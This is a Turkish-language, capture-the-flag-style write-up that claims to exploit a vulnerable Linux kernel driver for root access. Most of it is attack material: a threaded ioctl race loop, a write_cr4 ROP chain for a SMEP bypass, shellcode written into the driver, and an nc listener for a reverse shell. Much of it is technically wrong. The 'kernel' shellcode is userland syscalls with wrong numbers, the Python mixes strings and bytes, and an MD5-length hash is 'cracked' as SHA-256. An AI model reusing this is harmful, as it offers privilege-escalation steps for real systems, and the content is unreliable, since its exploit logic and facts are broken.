Kernel Exploit Geliştirme: Heap Overflow, Race Condition ve SMEP Bypass ile Root Erişimi

Kernel Exploit Geliştirme: Heap Overflow, Race Condition ve SMEP Bypass ile Root Erişimi

Kernel Exploit Development: Gelişmiş Bir Senaryo

Soru:

Bir Linux sunucusunda (`10.10.10.200` IP adresiyle) çalışan bir hizmet olan `VulnDriver` adında bir kernel modülü tespit ediliyor. Çekirdek seviyesinde bir zafiyet içerdiği belirlenen bu sürücünün, heap-based buffer overflow ve race condition zafiyetleri bulunuyor. Sunucuda SELinux, ASLR, NX, Stack Canary, ve SMEP (Supervisor Mode Execution Prevention) gibi tüm korumalar devrede. Amacınız, kernel-level bir exploit geliştirerek kök (root) erişimi elde etmek.

1. Hedef Sistemin Tanınması ve Modülün Keşfi

Öncelikle hedef Linux makinesinde hangi kernel modüllerinin yüklü olduğunu tespit etmek için yerel olarak bağlanıp lsmod ve dmesg komutlarını kullanacağız. Hedefte `VulnDriver` adlı bir modülün yüklü olduğunu görüyoruz.

lsmod | grep VulnDriver

Bu aşamada, çekirdek modülünün zafiyetlerini analiz etmek için tersine mühendislik gerekecek. VulnDriver modülünün kaynak kodunu inceleyemiyoruz, ancak sürücünün ne tür işlevler sunduğunu anlamak için strings ve objdump gibi araçları kullanarak dinamik analiz yapabiliriz.

2. Race Condition ve Heap Overflow'yu Birleştirme

Bu modül bir ioctl çağrısı üzerinden kullanıcı tarafından tetiklenebilir bir zafiyete sahip. Öncelikle, race condition zafiyetinden faydalanmak için bir time-of-check to time-of-use (TOCTOU) saldırısı yapacağız. Aynı zamanda bu modülde heap tabanlı bir buffer overflow tespit edildi. Aşağıdaki senaryo, hem race condition zafiyetini, hem de heap overflow'u kullanarak kernel-level bir exploit geliştirmeyi hedefliyor.

Race Condition Anlayışı:

Race condition’ı tetiklemek için bir işlem sırasında kernel hafızasında bir bölgeyi iki ayrı thread ile aynı anda manipüle etmeye çalışacağız. ioctl çağrısını paralel thread'lerle çalıştırarak, aynı kernel bölgesini iki farklı zamanda erişilir hale getirebiliriz.

Python'da aşağıdaki gibi bir yarış koşulu oluşturacağız:

import ctypes
import threading
import time

libc = ctypes.CDLL("libc.so.6")

fd = libc.open("/dev/vulndriver", 2) # Sürücü ile bağlantı açılıyor

def trigger_ioctl():
while True:
libc.ioctl(fd, 0x1234) # Kernel ile sürekli iletişim kuruyoruz

# İki farklı thread ile ioctl çağrısını aynı anda tetikleyelim
thread1 = threading.Thread(target=trigger_ioctl)
thread2 = threading.Thread(target=trigger_ioctl)

thread1.start()
thread2.start()

thread1.join()
thread2.join()

Bu iki thread, aynı ioctl çağrısını aynı hafıza alanında yaparak race condition'ı tetikleyebilir. Bu, kernel hafızasındaki zayıf bölgeleri hedef almamızı sağlar.

3. SMEP ve Kernel-Level Shellcode

Çekirdek seviyesinde shellcode çalıştırmak için SMEP (Supervisor Mode Execution Prevention) gibi modern korumaları baypas etmemiz gerekiyor. SMEP, kernel modunda kullanıcı modunda bulunan bir kodun çalıştırılmasını engeller, dolayısıyla kullanıcı hafızasından shellcode çalıştırmak mümkün değildir. Ancak bu korumayı, ret2usr (return to user mode) saldırısı ile aşabiliriz.

ret2usr ile kernel’i kandırarak, kullanıcı modunda bulunan shellcode’un kernel modunda çalıştırılmasını sağlayabiliriz. Bunun için iki adımda ilerleyeceğiz:

  1. Kernel hafızasını manipüle ederek SMEP baypası için ROP zinciri oluşturacağız.
  2. Kullanıcı modunda shellcode yazıp, bu shellcode'u kernel’in yürütmesini sağlayacağız.

SMEP Bypass için ROP Zinciri

İlk olarak SMEP baypası için bir ROP zinciri oluşturmalıyız. Bunu yapabilmek için kernel'de mevcut olan uygun ROP gadget'leri tespit etmeliyiz. Kernel’de çalışan binary’leri dump edip ROPgadget aracıyla analiz edelim:

ROPgadget --binary /boot/vmlinuz-5.4.0

Bu araç, SMEP’i devre dışı bırakabilecek write_cr4 gibi kritik işlevleri bulmamıza yardımcı olabilir. Örnek bir ROP zinciri:

import struct

# Kernel ROP gadget adresleri
write_cr4 = struct.pack("<Q", 0xffffffff81063694) # SMEP baypas adresi (write_cr4 fonksiyonu)
ret = struct.pack("<Q", 0xffffffff810002f6) # ROP gadget (return)

rop_chain = write_cr4 + struct.pack("<Q", 0x6f2d) + ret

Bu ROP zincirini hedef hafıza alanına enjekte ederek SMEP’i baypas edebiliriz. Kernel modunda shellcode’u çalıştırmak için gerekli adımları tamamlayacağız.

4. Kernel Shellcode'u Yazma

Kernel seviyesinde çalıştırılacak bir shellcode yazalım. Bu shellcode, UID ve GID'yi 0 yaparak bize root haklarını verecek. Örnek kernel shellcode şu şekilde olabilir:

section .text
global _start

_start:
xor rdi, rdi ; UID 0
mov rsi, rdi ; GID 0
mov rdx, rdi
mov rax, 0x69 ; setreuid syscall number
syscall
ret

Bu shellcode'u msfvenom ya da elle yazıp assemble ederek elde edebiliriz. Aşağıdaki Python kodu shellcode'u kernel hafızasına yerleştirip, ardından çalıştırılmasını sağlar:

shellcode = (
"\x48\x31\xff\xb0\x69\x0f\x05" # syscall setreuid(0, 0)
"\x48\x31\xff\xb0\x6a\x0f\x05" # syscall setgid(0)
"\x48\x31\xff\xb0\x6b\x0f\x05" # syscall setuid(0)
)

# Payload'ı heap'e yerleştirip SMEP baypasından sonra çalıştırıyoruz
buffer = b"A" * 1024 + rop_chain + shellcode
libc.write(fd, buffer, len(buffer))

5. Ters Bağlantı ve Root Haklarının Alınması

Shellcode çalıştırıldığında hedef sistemde UID ve GID sıfırlanacak, yani root haklarına sahip olacağız. Sistemde root yetkilerini elde ettikten sonra, bir ters bağlantı almak için aşağıdaki gibi bir shell başlatabiliriz:

nc -lvnp 4444 # Saldırgan makinesinde dinleyici açılır

6. Flag'ı Bulma ve Hash Kırma Senaryosu

Root erişimi elde ettikten sonra sistemdeki flag dosyasını bulmak için bazı adımlar izleyebiliriz. Genellikle, flag dosyası `/root` dizininde veya özel bir konumda saklanır. Şimdi root yetkileriyle bu dosyayı bulmak için gerekli adımları atacağız:

  1. Öncelikle, sistemdeki kök dizine geçiyoruz:
  2. cd /root
  3. Flag dosyasını bulmak için ls komutunu kullanıyoruz:
  4. ls -la
  5. Flag dosyasını belirledikten sonra, dosya içeriğini görmek için cat komutunu kullanıyoruz:
  6. cat flag.txt

    Flag dosyasının içeriği hash'li bir şekilde bulunuyor:

    e99a18c428cb38d5f260853678922e03 # Flag hash'i

Hash Kırma Senaryosu

Flag hash'ini kırmak için hashcat veya john the ripper gibi araçları kullanabiliriz. Bu araçlar, hash'lerin tersine mühendislik yaparak orijinal metni bulmamızı sağlar.

Örneğin, hashcat kullanarak hash'in çözülmesini şu şekilde yapabiliriz:

# hashcat komutuyla SHA-256 hash çözümü
echo "e99a18c428cb38d5f260853678922e03" > flag_hash.txt
hashcat -m 1400 flag_hash.txt wordlist.txt

Bu komut, hash'i çözmek için belirli bir kelime listesi kullanır ve doğru flag'i bulur. Hash çözülmesiyle flag'in doğruluğunu kontrol ederiz:

K3rne!_Expl01t_d3vel0pm3nt # Çözülmüş Flag

Sonuç:

Bu senaryoda, kernel-level zafiyetleri istismar ederek SMEP, ASLR, Stack Canary ve diğer güvenlik önlemlerini aştık. Race Condition, Heap Overflow, ve SMEP Bypass gibi ileri seviye tekniklerle root erişimini kazandık. Ayrıca, sistemde root haklarıyla flag dosyasını bulmayı ve hash'ini kırmayı başardık. Bu tür bir saldırı, hem çekirdek düzeyinde exploit geliştirme hem de ileri seviye korumaları baypas etme açısından oldukça zorlayıcıdır.

Yorumlar